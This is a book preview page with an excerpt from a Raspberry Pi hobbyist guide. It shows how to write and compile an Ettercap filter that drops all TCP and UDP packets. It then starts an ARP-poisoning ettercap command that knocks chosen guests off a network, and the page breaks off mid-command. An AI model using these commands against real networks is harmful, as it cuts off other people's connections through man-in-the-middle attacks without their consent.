Book Image

Raspberry Pi for Secret Agents - Second Edition

By : Stefan Sjogelid
Book Image

Raspberry Pi for Secret Agents - Second Edition

By: Stefan Sjogelid

Overview of this book

Table of Contents (12 chapters)
Raspberry Pi for Secret Agents Second Edition
Credits
About the Author
About the Reviewers
www.PacktPub.com
Preface
Index

Knocking all visitors off your network


There are times in every network owner's life when we just need that little extra bandwidth to watch the latest cat videos on YouTube in glorious HD resolution, right?

With the following Ettercap filter, our Pi will essentially become a very restrictive firewall and drop every single packet that comes our way, thus forcing the guests on our network to take a timeout:

pi@raspberrypi ~ $ nano dropfilter.ecf

Here is our minimalistic drop filter:

if (ip.proto == TCP || ip.proto == UDP) {
  drop();
  msg("Dropped a packet!\n");
}

The next step is to compile our Ettercap filter code into a binary file that can be interpreted by Ettercap, using the following command:

pi@raspberrypi ~ $ etterfilter dropfilter.ecf -o dropfilter.ef

Now all we have to do is fire up Ettercap and load the filter. You can either target one particularly pesky network guest or a range of IP addresses:

pi@raspberrypi ~ $ sudo ettercap -q -T -i wlan0 -M arp:remote -F dropfilter.ef:1 -P...